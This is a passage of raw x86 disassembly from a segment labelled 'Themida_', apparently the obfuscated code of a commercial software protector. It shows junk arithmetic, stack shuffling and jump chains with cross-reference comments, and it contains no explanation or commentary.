--------------------------------------------------------------------------- loc_557EB9: ; CODE XREF: Themida_:0055CFDBj add dword ptr [esp], 4 jmp loc_55559B ; --------------------------------------------------------------------------- loc_557EC2: ; CODE XREF: Themida_:0055D726j add edx, 7CEAE2F3h add ebp, edx pop edx jmp loc_55B807 ; --------------------------------------------------------------------------- loc_557ED0: ; CODE XREF: Themida_:00558E06j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push esp mov eax, [esp] push edi jmp loc_55666A ; --------------------------------------------------------------------------- loc_557EEA: ; CODE XREF: Themida_:00557672j mov eax, 2B64284Eh xor eax, 0D4C5EA0h jmp loc_552DA3 ; --------------------------------------------------------------------------- loc_557EF9: ; CODE XREF: Themida_:0055DA4Bj shl ecx, 7 jmp loc_556645 ; --------------------------------------------------------------------------- loc_557F01: ; CODE XREF: Themida_:0055B17Fj not ebp jmp loc_551CA5 ; --------------------------------------------------------------------------- loc_557F08: ; CODE XREF: Themida_:0055AF65j push eax push edi mov edi, 48F6106Ah shr edi, 6 and edi, 56553220h dec edi shr edi, 2 push eax mov eax, 0F9E74F1h and eax, 5E98578Ah sub eax, 2B285595h shl eax, 1 not eax and eax, 35223A0Ah sub eax, 0ABD06Bh jmp loc_553B83 ; --------------------------------------------------------------------------- loc_557F3F: ; CODE XREF: Themida_:005599D5j pop ebx jmp loc_555C9E ; --------------------------------------------------------------------------- loc_557F45: ; CODE XREF: Themida_:00553D66j add ebp, ebx jmp loc_552EF1 ; --------------------------------------------------------------------------- loc_557F4C: ; CODE XREF: Themida_:00551E38j xor al, bl push small 6BF4h mov [esp], cx mov cl, 4Bh push ebx jmp loc_557364 ; --------------------------------------------------------------------------- loc_557F5E: ; CODE XREF: Themida_:00554B61j add edx, edi pop edi xor edx, [esp] xor [esp], edx jmp loc_554CB7 ; --------------------------------------------------------------------------- loc_557F6C: ; CODE XREF: Themida_:0055428Ej push edx mov edx, 63265EF6h or [edi+24h], edx jmp loc_552A4F ; --------------------------------------------------------------------------- loc_557F7A: ; CODE XREF: Themida_:00551F7Cj xchg edx, [esp] mov esp, [esp] xor [esp], al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_557F89: ; CODE XREF: Themida_:005546CBj add esp, 4 xchg ebp, [esp] pop esp jmp loc_55208D ; --------------------------------------------------------------------------- loc_557F95: ; CODE XREF: Themida_:00559E12j sub ebx, 31E74354h jmp loc_55CBF9 ; --------------------------------------------------------------------------- loc_557FA0: ; CODE XREF: Themida_:005524F7j add ecx, ebx mov ebx, [esp] jmp loc_558904 ; --------------------------------------------------------------------------- loc_557FAA: ; CODE XREF: Themida_:0055D08Fj push dword ptr [esp+4] jmp loc_55DCC1 ; --------------------------------------------------------------------------- loc_557FB3: ; CODE XREF: Themida_:0055AD8Fj pop ebp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], edx push eax push dword ptr [esp] pop edx push ebp mov ebp, esp push edx mov edx, 7E1571B9h push edi mov edi, 0 sub edi, edx jmp loc_55774E ; --------------------------------------------------------------------------- loc_557FDC: ; CODE XREF: Themida_:0055B6DFj xchg ebp, [esp] jmp loc_55A7E6 ; --------------------------------------------------------------------------- loc_557FE4: ; CODE XREF: Themida_:0055BADEj mov eax, esp add eax, 4 sub eax, 4 jmp loc_55A81D ; --------------------------------------------------------------------------- loc_557FF5: ; CODE XREF: Themida_:0055B71Fj push ebx mov ebx, 3F777886h jmp loc_559BBD ; --------------------------------------------------------------------------- loc_558000: ; CODE XREF: Themida_:00558F29j pop esi jmp loc_55A549 ; --------------------------------------------------------------------------- loc_558006: ; CODE XREF: Themida_:0055B426j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55800B: ; CODE XREF: Themida_:00558880j jmp loc_551815 ; --------------------------------------------------------------------------- loc_558010: ; CODE XREF: Themida_:005524DDj push ecx push 2300h jmp loc_555843 ; --------------------------------------------------------------------------- loc_55801B: ; CODE XREF: Themida_:0055278Ej sub cl, 3Ah add bl, cl pop cx push ebx push esp push dword ptr [esp] pop ebx add esp, 4 push esi mov esi, 3C9F0C71h jmp loc_557694 ; --------------------------------------------------------------------------- loc_558039: ; CODE XREF: Themida_:00555DC5j xor dh, 76h jmp loc_55BB5F ; --------------------------------------------------------------------------- loc_558041: ; CODE XREF: Themida_:0055222Bj mov ebx, [esp] add esp, 4 push edx mov edx, 4D4D4A61h add edx, 1 push edx mov edx, esp add edx, 4 sub edx, 4 push edx jmp loc_55DCD5 ; --------------------------------------------------------------------------- loc_558068: ; CODE XREF: Themida_:0055AB0Ej mov [esp], esi push esp mov esi, [esp] jmp loc_5599E1 ; --------------------------------------------------------------------------- loc_558074: ; CODE XREF: Themida_:00555886j mov ebx, 783362A1h add eax, ebx pop ebx sub eax, ebx jmp loc_55574B ; --------------------------------------------------------------------------- loc_558083: ; CODE XREF: Themida_:00559F98j push dword ptr [esp+4] pop ebx jmp loc_556836 ; --------------------------------------------------------------------------- loc_55808D: ; CODE XREF: Themida_:005527C2j push 1AFFh mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_552820 ; --------------------------------------------------------------------------- loc_5580A0: ; CODE XREF: Themida_:0055DD5Cj mov edx, esp add edx, 4 jmp loc_5596FF ; --------------------------------------------------------------------------- loc_5580AD: ; CODE XREF: Themida_:00552B9Cj pop esp push ecx mov ecx, 1B666AFDh push ebp push edi mov edi, 3C361E21h mov ebp, 0D20A0683h add ebp, 678D4775h add ebp, edi jmp loc_55603D ; --------------------------------------------------------------------------- loc_5580CD: ; CODE XREF: Themida_:00552D2Dj shr ebx, 3 jmp loc_55712E ; --------------------------------------------------------------------------- loc_5580D5: ; CODE XREF: Themida_:00558A78j add edi, 32CF7FDFh add edi, 439C6A33h sub edi, 0FFFFFFFFh push esi mov esi, 0C8303549h xor edi, esi pop esi sub ebx, 39C25E4Ch add ebx, edi add ebx, 39C25E4Ch mov edi, [esp] add esp, 4 push ecx mov ecx, 2 sub ebx, ecx pop ecx xchg ebx, [esp] jmp loc_55797F ; --------------------------------------------------------------------------- loc_558115: ; CODE XREF: Themida_:00555D1Ej add edx, 0BC8EE76Ch push edx mov edx, 4B053FC1h jmp loc_555007 ; --------------------------------------------------------------------------- loc_558126: ; CODE XREF: Themida_:0055576Cj sub eax, esi add eax, 601C7003h push dword ptr [esp] pop esi add esp, 4 jmp loc_554079 ; --------------------------------------------------------------------------- loc_55813C: ; CODE XREF: Themida_:00556A4Bj mov cl, 5Ah push ecx push ebx mov bh, 0D6h mov cl, bh jmp loc_5588EE ; --------------------------------------------------------------------------- locret_558149: ; CODE XREF: Themida_:005530B1j retn ; --------------------------------------------------------------------------- jmp loc_551815 ; --------------------------------------------------------------------------- mov cx, [esp] push 3DF0h mov [esp], eax push edi jmp loc_557C1C ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_551815 ; --------------------------------------------------------------------------- loc_558169: ; CODE XREF: Themida_:00552938j pop ecx push esi jmp loc_558CE2 ; --------------------------------------------------------------------------- loc_558170: ; CODE XREF: Themida_:00553D83j jmp loc_551815 ; --------------------------------------------------------------------------- loc_558175: ; CODE XREF: Themida_:00555B43j mov edi, esp jmp loc_5553B3 ; --------------------------------------------------------------------------- loc_55817C: ; CODE XREF: Themida_:00557B07j add esp, 2 push 237Bh mov [esp], ecx push ebx push ecx push ebx mov bl, 0AFh mov cl, bl jmp loc_552B04 ; --------------------------------------------------------------------------- loc_558196: ; CODE XREF: Themida_:00554389j mov [esp], eax push ecx jmp loc_557285 ; --------------------------------------------------------------------------- loc_55819F: ; CODE XREF: Themida_:00559E5Dj or ebx, 238121D6h and ebx, 3B276F77h add ebx, 0C4DADAAEh add esi, ebx pop ebx xchg esi, [esp] jmp loc_5594D6 ; --------------------------------------------------------------------------- loc_5581BC: ; CODE XREF: Themida_:0055AA3Fj add bl, dl mov edx, [esp] push edi push esp jmp loc_55A1F0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5581D7: ; CODE XREF: Themida_:005586F9j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5597EB ; --------------------------------------------------------------------------- loc_5581EB: ; CODE XREF: Themida_:00552C9Dj sub eax, ecx pop ecx xchg eax, [esp] pop esp mov [esp], esi jmp loc_551DCB ; --------------------------------------------------------------------------- loc_5581FA: ; CODE XREF: Themida_:0055D189j push 5259h mov [esp], esp push edi mov edi, 4 add [esp+4], edi mov edi, [esp] add esp, 4 mov edx, [esp] push ebp mov ebp, esp push eax mov eax, 61134AD3h xor eax, 11F9070Fh add eax, 57CB1197h neg eax neg eax or eax, 4CB6089Eh sub eax, 0CCB75FFBh jmp loc_55A958 ; --------------------------------------------------------------------------- loc_55823E: ; CODE XREF: Themida_:0055B20Ej sub bl, 0B4h push edx mov dh, 0F0h neg dh jmp loc_554EAC ; --------------------------------------------------------------------------- loc_55824B: ; CODE XREF: Themida_:00555BC1j add eax, 4 sub eax, 4 jmp loc_557737 ; --------------------------------------------------------------------------- loc_55825A: ; CODE XREF: Themida_:00557749j mov edx, 365C71C9h and eax, edx pop edx add eax, 806A926h jmp loc_557962 ; --------------------------------------------------------------------------- loc_55826C: ; CODE XREF: Themida_:00554EB7j xor dh, 50h sub bl, dh jmp loc_55448D ; --------------------------------------------------------------------------- loc_558276: ; CODE XREF: Themida_:00555CD9j xor si, 0F441h jmp loc_55C808 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_551815 ; --------------------------------------------------------------------------- loc_558287: ; CODE XREF: Themida_:00553CEAj neg edi not edi push 70E3h jmp loc_55C7D4 ; --------------------------------------------------------------------------- loc_558295: ; CODE XREF: Themida_:005557A7j pop esp mov [esp], esi mov esi, 20000h and eax, esi push dword ptr [esp] pop esi push 0E1Dh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_556C39 ; --------------------------------------------------------------------------- loc_5582B9: ; CODE XREF: Themida_:0055920Ej pop edi jmp loc_554BA2 ; --------------------------------------------------------------------------- loc_5582BF: ; CODE XREF: Themida_:0055C6DAj push ebx mov ebx, 717768DBh xor ecx, ebx pop ebx shr ecx, 7 shl ecx, 3 sub ecx, 0F7A9AC6Ch push edi jmp loc_559A47 ; --------------------------------------------------------------------------- loc_5582DA: ; CODE XREF: Themida_:00558777j push edx jmp loc_555CFE ; --------------------------------------------------------------------------- dd 0E9242489h, 35F2h ; --------------------------------------------------------------------------- loc_5582E8: ; CODE XREF: Themida_:0055530Cj add ebp, 4 push ebx push eax mov eax, 738F0D58h mov ebx, eax pop eax jmp loc_55B957 ; --------------------------------------------------------------------------- loc_5582FD: ; CODE XREF: Themida_:0055762Cj mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5562CB ; --------------------------------------------------------------------------- loc_558311: ; CODE XREF: Themida_:00555092j add ecx, edx push dword ptr [esp] pop edx jmp loc_55A11A ; --------------------------------------------------------------------------- loc_55831C: ; CODE XREF: Themida_:0055608Aj push ebx push 30832195h pop ebx inc ebx add ebx, 2D5441AAh not ebx add ebx, 0BCADB51Bh push ebx sub dword ptr [esp], 5100515Eh jmp loc_55A243 ; --------------------------------------------------------------------------- loc_55833F: ; CODE XREF: Themida_:00554B92j push 2933h mov [esp], ebx sub esp, 4 mov [esp], edi push esi push ebp mov ebp, 7B777D4Dh jmp loc_553CB8 ; --------------------------------------------------------------------------- loc_55835C: ; CODE XREF: Themida_:005578B4j pop esi xchg eax, [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push 6C27h mov [esp], esi push 1FE8h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ebp jmp loc_55D68E ; --------------------------------------------------------------------------- loc_558393: ; CODE XREF: Themida_:00554090j add esi, 7B03108Ch pop edi sub esi, 4 jmp loc_552FD3 ; --------------------------------------------------------------------------- loc_5583A2: ; CODE XREF: Themida_:00554F13j xchg edx, [esp] pop esp jmp loc_551815 ; --------------------------------------------------------------------------- loc_5583AB: ; CODE XREF: Themida_:0055B668j sub edi, 40DC22CDh or ecx, edi pop edi neg ecx sub esp, 4 mov [esp], esi mov esi, 332962A8h shl esi, 7 jmp loc_557701 ; --------------------------------------------------------------------------- loc_5583CC: ; CODE XREF: Themida_:005552A8j mov [esp], ecx push edi push 4A921684h mov edi, [esp] add esp, 4 shr edi, 7 and edi, 359F0D3Eh inc edi jmp loc_55D18E ; --------------------------------------------------------------------------- loc_5583ED: ; CODE XREF: Themida_:0055DA17j sub [esp+8], eax jmp loc_55AD0B ; --------------------------------------------------------------------------- loc_5583F6: ; CODE XREF: Themida_:00553382j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov eax, [esp] jmp loc_55BF18 ; --------------------------------------------------------------------------- loc_55840A: ; CODE XREF: Themida_:00552CB1j mov [esp], ecx push small 77A5h mov [esp], ax mov ah, 90h mov ch, ah pop ax xor ch, 6Eh shr ch, 7 push small 0 sub [esp], ch jmp loc_55D5E6 ; --------------------------------------------------------------------------- loc_55842D: ; CODE XREF: Themida_:0055C448j pop esi not ebx jmp loc_553FDD ; --------------------------------------------------------------------------- loc_558435: ; CODE XREF: Themida_:00559619j xor [esp], edi jmp loc_557E07 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_553429 ; --------------------------------------------------------------------------- loc_558446: ; CODE XREF: Themida_:00555D2Ej sub eax, esi add eax, 44D31987h pop esi sub ebx, 2BDD5524h add ebx, eax push edi push 32597F06h pop edi jmp loc_5596C9 ; --------------------------------------------------------------------------- loc_558462: ; CODE XREF: Themida_:005528C7j sub edx, 9CA3B955h add ebx, edx pop edx sub eax, ebx jmp loc_556FB1 ; --------------------------------------------------------------------------- loc_558472: ; CODE XREF: Themida_:0055A0C5j mov eax, [esp] add esp, 4 jmp loc_557D15 ; --------------------------------------------------------------------------- loc_55847D: ; CODE XREF: Themida_:0055A2BCj pop ebx pop edi push 7688h mov [esp], edi push 3495h mov [esp], ebp jmp loc_555CAB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5584A3: ; CODE XREF: Themida_:0055A544j xor eax, ecx push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx pop ecx jmp loc_551CEF ; --------------------------------------------------------------------------- loc_5584C2: ; CODE XREF: Themida_:0055B802j add eax, [ebx] pop ebx pop ecx pop edx push 4EDDh mov [esp], eax jmp loc_551815 ; --------------------------------------------------------------------------- loc_5584D4: ; CODE XREF: Themida_:005599B0j sub eax, 363E2EE3h add eax, esi jmp loc_558551 ; --------------------------------------------------------------------------- loc_5584E0: ; CODE XREF: Themida_:00556757j add edx, 3F1225DCh add edx, 54A019FDh push edi jmp loc_5534C9 ; --------------------------------------------------------------------------- loc_5584F2: ; CODE XREF: Themida_:0055B9F0j pop ebx dec edx add edx, 47AE7885h sub edx, 0F673F33Fh sub ebp, edx pop edx jmp loc_55262E ; --------------------------------------------------------------------------- loc_558508: ; CODE XREF: Themida_:0055306Bj mov esi, 170E38EAh jmp loc_55CED0 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push 1316h mov [esp], esp add dword ptr [esp], 4 jmp loc_55B1DE ; --------------------------------------------------------------------------- loc_558528: ; CODE XREF: Themida_:0055AACBj mov [esp], edx mov edx, 2 sub ebp, 46633AFBh add ebp, edx push eax jmp loc_5564EE ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_558E32 ; --------------------------------------------------------------------------- loc_558551: ; CODE XREF: Themida_:005584DBj add eax, 363E2EE3h pop esi jmp loc_55A538 ; --------------------------------------------------------------------------- loc_55855C: ; CODE XREF: Themida_:0055D339j add edx, 4 add edx, 4 jmp loc_55CA5D ; --------------------------------------------------------------------------- loc_55856D: ; CODE XREF: Themida_:0055A9B3j sub ebx, 1B51082Ah add ebx, 12F70671h add eax, ebx jmp loc_55BACC ; --------------------------------------------------------------------------- loc_558580: ; CODE XREF: Themida_:0055447Ej pop ecx push esi push 590F4314h mov esi, [esp] jmp loc_5533D8 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], esi jmp loc_55AD03 ; --------------------------------------------------------------------------- loc_5585A3: ; CODE XREF: Themida_:0055C3F6j dec edx sub edx, 2E19218Dh jmp loc_55D1C3 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_551815 ; --------------------------------------------------------------------------- loc_5585B7: ; CODE XREF: Themida_:0055CAC9j add esp, 4 sub esp, 4 mov [esp], edx mov edx, 38h add edx, edi push eax mov eax, 0 add eax, edx jmp loc_55AF6A ; --------------------------------------------------------------------------- loc_5585D4: ; CODE XREF: Themida_:0055AE88j sub al, 0D1h pop cx push edx sub esp, 4 mov [esp], eax jmp loc_556E40 ; --------------------------------------------------------------------------- loc_5585E7: ; CODE XREF: Themida_:0055D96Cj push edx mov edx, 29312E26h push 164Ah mov [esp], edx jmp loc_55270B ; --------------------------------------------------------------------------- loc_5585FA: ; CODE XREF: Themida_:00556116j xor al, 31h add dl, al jmp loc_55472D ; --------------------------------------------------------------------------- loc_558603: ; CODE XREF: Themida_:005563BFj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_557057 ; --------------------------------------------------------------------------- loc_558613: ; CODE XREF: Themida_:00559214j shl ebx, 7 push 321Bh mov [esp], eax mov eax, 0DD558A3h inc eax shr eax, 3 inc eax jmp loc_554AA0 ; --------------------------------------------------------------------------- loc_55862D: ; CODE XREF: Themida_:00552596j sub ecx, edi push esi push ebx push 7BAE684Dh mov ebx, [esp] add esp, 4 sub ebx, 15E11D91h mov esi, ebx pop ebx xchg ebx, esi jmp loc_553114 ; --------------------------------------------------------------------------- loc_55864F: ; CODE XREF: Themida_:00553FC7j jmp loc_551815 ; --------------------------------------------------------------------------- loc_558654: ; CODE XREF: Themida_:005528D2j add edi, 13DCFA6h mov eax, edi pop edi jmp loc_551A16 ; --------------------------------------------------------------------------- lodsb sub al, 8Eh push 5A32h mov [esp], edx mov dh, 61h shl dh, 4 dec dh jmp loc_553421 ; --------------------------------------------------------------------------- loc_558679: ; CODE XREF: Themida_:0055BB5Aj mov [esp], ebx push 623Bh mov [esp], edx push ebx mov ebx, 29D808E6h jmp loc_55773F ; --------------------------------------------------------------------------- loc_55868F: ; CODE XREF: Themida_:0055413Aj mov ebx, 28947FACh push ebp mov ebp, 44E05784h push ebp not dword ptr [esp] pop ebp xor ebp, 8B90BD55h jmp loc_5590B4 ; --------------------------------------------------------------------------- loc_5586AA: ; CODE XREF: Themida_:0055C47Fj inc dh add dh, 16h jmp loc_5533A9 ; --------------------------------------------------------------------------- loc_5586B4: ; CODE XREF: Themida_:00554F03j xor edx, 0D9448190h mov ebx, edx jmp loc_55A825 ; --------------------------------------------------------------------------- loc_5586C1: ; CODE XREF: Themida_:00553B92j add edx, ecx jmp loc_55DD1B ; --------------------------------------------------------------------------- loc_5586C8: ; CODE XREF: Themida_:0055C345j not dword ptr [esp] pop eax jmp loc_55D568 ; --------------------------------------------------------------------------- loc_5586D1: ; CODE XREF: Themida_:005519F7j sub eax, 1A9835E6h add eax, 360305BEh sub eax, ebx push edi mov edi, 494803CDh add edi, 68C490Eh push edi not dword ptr [esp] pop edi not edi sub edi, 19D1471Dh sub eax, edi pop edi jmp loc_5581D7 ; --------------------------------------------------------------------------- loc_5586FE: ; CODE XREF: Themida_:005530AAj mov edi, ecx push dword ptr [esp] jmp loc_55936F ; --------------------------------------------------------------------------- loc_558708: ; CODE XREF: Themida_:0055A3FEj add eax, 4 xchg eax, [esp] jmp loc_556E5E ; --------------------------------------------------------------------------- loc_558713: ; CODE XREF: Themida_:0055C142j pop edi jmp loc_5579D4 ; --------------------------------------------------------------------------- loc_558719: ; CODE XREF: Themida_:00559D42j pop ecx jmp loc_5560CB ; --------------------------------------------------------------------------- loc_55871F: ; CODE XREF: Themida_:00555944j pop ebx sub ecx, edi sub ecx, 65DE1571h pop edi push ecx push dword ptr [esp+4] mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 push 6348h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp pop dword ptr [esp] pop esp mov [esp], edx jmp loc_552574 ; --------------------------------------------------------------------------- loc_55875A: ; CODE XREF: Themida_:0055CD5Cj mov esi, [esp] add esp, 4 jmp loc_55588B ; --------------------------------------------------------------------------- loc_558768: ; CODE XREF: Themida_:00554A1Dj sub esp, 4 mov [esp], edx push ebp mov ebp, 6ADA7547h jmp loc_5582DA ; --------------------------------------------------------------------------- loc_55877C: ; CODE XREF: Themida_:0055A7D3j mov [esp], edx jmp loc_555235 ; --------------------------------------------------------------------------- loc_558784: ; CODE XREF: Themida_:0055BB26j add ebp, 1F0D261Ch not ebp jmp loc_55AF7A ; --------------------------------------------------------------------------- loc_558791: ; CODE XREF: Themida_:005560EDj shr eax, 0Ah xor eax, ecx jmp loc_5552FD ; --------------------------------------------------------------------------- loc_55879B: ; CODE XREF: Themida_:00551946j pop eax push 178Bh mov [esp], eax jmp loc_557631 ; --------------------------------------------------------------------------- mov ax, [esp] push 7B77h mov [esp], ebp push esp pop ebp push edx mov edx, 17E02EC7h inc edx push esi mov esi, 371019F2h add esi, 7B1175FFh push ebx mov ebx, 29B04D7Ch or esi, ebx pop ebx sub esi, 247B86h sub esi, 0D36D833Bh add edx, esi mov esi, [esp] add esp, 4 add ebp, edx pop edx jmp loc_55592C ; --------------------------------------------------------------------------- loc_5587EF: ; CODE XREF: Themida_:005536DEj add ebx, 5654ADBh jmp loc_55695E ; --------------------------------------------------------------------------- loc_5587FA: ; CODE XREF: Themida_:005531C5j mov ebx, esp jmp loc_5568FB ; --------------------------------------------------------------------------- loc_558801: ; CODE XREF: Themida_:005588E9j pop ecx sub eax, ebx jmp loc_55719B ; --------------------------------------------------------------------------- loc_558809: ; CODE XREF: Themida_:00556FA3j mov ebp, 39A12E4Ah xor ebp, 19D35820h xor ebp, 2072766Eh add ecx, ebp pop ebp add ecx, 2 xchg ecx, [esp] pop esp mov ecx, [esp] jmp loc_5559B7 ; --------------------------------------------------------------------------- loc_55882F: ; CODE XREF: Themida_:0055A308j mov edx, [esp] add esp, 4 shr ecx, 8 sub ecx, 24615363h xor ecx, 0C0D137A4h add eax, ecx pop ecx sub eax, 385A3F7Bh pop ebx add eax, 5B5E2554h add eax, ebx push ecx jmp loc_558E6A ; --------------------------------------------------------------------------- loc_55885D: ; CODE XREF: Themida_:00558DFEj pop eax pop ecx sub dword ptr [esp+4], 5E4969DBh add [esp+4], ebp add dword ptr [esp+4], 5E4969DBh jmp loc_555816 ; --------------------------------------------------------------------------- loc_558878: ; CODE XREF: Themida_:00556601j pop edi mov ecx, ebx pop ebx and [edi+1Ch], ecx pop ecx jmp loc_55800B ; --------------------------------------------------------------------------- loc_558885: ; CODE XREF: Themida_:0055C763j add esi, 4 push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] jmp loc_553C9A ; --------------------------------------------------------------------------- loc_55889C: ; CODE XREF: Themida_:00552CB9j add edi, 21830EFAh mov ebp, edi pop edi inc ebp xor ebp, 18643039h push 0D12h mov [esp], ebp jmp loc_55BA89 ; --------------------------------------------------------------------------- loc_5588B9: ; CODE XREF: Themida_:00553973j pop dword ptr [esp] jmp loc_55AD29 ; --------------------------------------------------------------------------- loc_5588C1: ; CODE XREF: Themida_:00551FC1j push edi push esp pop edi push edx jmp loc_55416B ; --------------------------------------------------------------------------- loc_5588CA: ; CODE XREF: Themida_:005556F3j sub eax, 3AC82523h jmp loc_55486D ; --------------------------------------------------------------------------- loc_5588D4: ; CODE XREF: Themida_:00553E44j add eax, ebp jmp loc_55A992 ; --------------------------------------------------------------------------- loc_5588DB: ; CODE XREF: Themida_:0055D062j push ecx mov ecx, 42C02590h sub ecx, 0DDB710A6h add eax, ecx jmp loc_558801 ; --------------------------------------------------------------------------- loc_5588EE: ; CODE XREF: Themida_:00558144j mov ebx, [esp] add esp, 4 sub cl, 9Bh sub cl, 57h push ebx mov bh, cl mov dl, bh jmp loc_5593F1 ; --------------------------------------------------------------------------- loc_558904: ; CODE XREF: Themida_:00557FA5j add esp, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_554C62 ; --------------------------------------------------------------------------- loc_558928: ; CODE XREF: Themida_:00559453j mov esi, 457B2970h shl esi, 5 xor esi, 0AF652E04h mov ebp, esi pop esi mov ecx, ebp pop ebp push ecx mov ecx, 34C71EFCh add edx, ecx mov ecx, [esp] add esp, 4 add edx, ecx sub edx, 34C71EFCh jmp loc_558B98 ; --------------------------------------------------------------------------- loc_558957: ; CODE XREF: Themida_:0055C2DEj pop edi jmp loc_558EBE ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp jmp loc_55B9CA ; --------------------------------------------------------------------------- loc_558969: ; CODE XREF: Themida_:005597B4j add esp, 2 sub esp, 2 mov [esp], ax push small word ptr [esp+2] mov ax, [esp] add esp, 2 pop small word ptr [esp] jmp loc_55B3A1 ; --------------------------------------------------------------------------- loc_55898E: ; CODE XREF: Themida_:005530BBj shr dh, 8 jmp loc_55A9B8 ; --------------------------------------------------------------------------- loc_558996: ; CODE XREF: Themida_:00559D4Ej and ebx, edi mov edi, [esp] add esp, 4 push esi mov esi, 0FFE05038h add ebx, 586101EAh sub ebx, esi sub ebx, 586101EAh mov esi, [esp] add esp, 4 and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_557404 push ecx jmp loc_552BDB ; --------------------------------------------------------------------------- loc_5589D1: ; CODE XREF: Themida_:00557437j add edx, 6CD81F9Bh sub edx, 548C6424h push edi push edx pop edi pop edx pop edx neg edi shr edi, 3 shr edi, 6 jmp loc_55C5DA ; --------------------------------------------------------------------------- loc_5589EF: ; CODE XREF: Themida_:005569ABj push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp push 4DE0h mov [esp], ebp mov bp, 41A5h push bx sub esp, 4 mov [esp], edi mov di, 3C62h push ecx mov cx, di mov bx, cx pop ecx mov edi, [esp] jmp loc_5526EE ; --------------------------------------------------------------------------- loc_558A28: ; CODE XREF: Themida_:00557A91j shl bh, 8 neg bh push eax mov ah, 41h jmp loc_555655 ; --------------------------------------------------------------------------- loc_558A35: ; CODE XREF: Themida_:00559B7Fj add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_55BE3F ; --------------------------------------------------------------------------- loc_558A56: ; CODE XREF: Themida_:00553980j add eax, 589D6708h jmp loc_55C6C4 ; --------------------------------------------------------------------------- loc_558A60: ; CODE XREF: Themida_:00557DDFj push edx jmp loc_55B09D ; --------------------------------------------------------------------------- loc_558A66: ; CODE XREF: Themida_:00556AB2j mov ecx, [esp] add esp, 4 push ebx mov ebx, esp push edi mov edi, 51C44B3Ah jmp loc_5580D5 ; --------------------------------------------------------------------------- loc_558A7D: ; CODE XREF: Themida_:00551A75j dec eax shr eax, 3 push ebx mov ebx, 8B9DE70h sub eax, ebx jmp loc_55A60F ; --------------------------------------------------------------------------- loc_558A8E: ; CODE XREF: Themida_:005538F2j add eax, ebx jmp loc_55637C ; --------------------------------------------------------------------------- loc_558A95: ; CODE XREF: Themida_:00557D1Ej add edi, ecx pop ecx not edi and edi, 458E33EFh sub edi, 458C1141h add ebx, edi pop edi jmp loc_55CB4E ; --------------------------------------------------------------------------- loc_558AAE: ; CODE XREF: Themida_:0055325Ej mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_55C15F ; --------------------------------------------------------------------------- loc_558ABE: ; CODE XREF: Themida_:0055BB62j inc dh inc dh sub dh, 0C1h or ah, dh pop edx sub ah, 0FFh add ah, 0E3h jmp loc_55D76E ; --------------------------------------------------------------------------- loc_558AD3: ; CODE XREF: Themida_:0055BA3Dj add ecx, 138047A6h push ebx jmp loc_555692 ; --------------------------------------------------------------------------- loc_558ADF: ; CODE XREF: Themida_:00559014j add edi, edx jmp loc_557D6E ; --------------------------------------------------------------------------- loc_558AE6: ; CODE XREF: Themida_:00555002j pop edi add edi, 4 push ebp mov ebp, 4 sub edi, ebp pop ebp xchg edi, [esp] jmp loc_5559C1 ; --------------------------------------------------------------------------- loc_558AFE: ; CODE XREF: Themida_:0055A01Bj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5542C1 ; --------------------------------------------------------------------------- loc_558B0D: ; CODE XREF: Themida_:00559136j mov ecx, esp jmp loc_556C8E ; --------------------------------------------------------------------------- loc_558B14: ; CODE XREF: Themida_:00552E5Bj add esp, 2 jmp loc_55A44C ; --------------------------------------------------------------------------- loc_558B1C: ; CODE XREF: Themida_:0055A56Cj sub esp, 4 jmp loc_553E49 ; --------------------------------------------------------------------------- loc_558B27: ; CODE XREF: Themida_:0055735Fj sub ebx, ecx pop ecx sub ebx, edx mov edx, [esp] add esp, 4 and eax, ebx mov ebx, [esp] jmp loc_55D880 ; --------------------------------------------------------------------------- loc_558B3C: ; CODE XREF: Themida_:00553BC2j mov al, 4Eh xor ch, al pop eax sub bl, ch jmp loc_552C33 ; --------------------------------------------------------------------------- loc_558B48: ; CODE XREF: Themida_:0055A0D0j push edx jmp loc_55371B ; --------------------------------------------------------------------------- loc_558B4E: ; CODE XREF: Themida_:00556BF5j pop ecx jmp loc_55D0CB ; --------------------------------------------------------------------------- loc_558B54: ; CODE XREF: Themida_:00551F27j mov ebx, ebp pop ebp mov edi, [esp] jmp 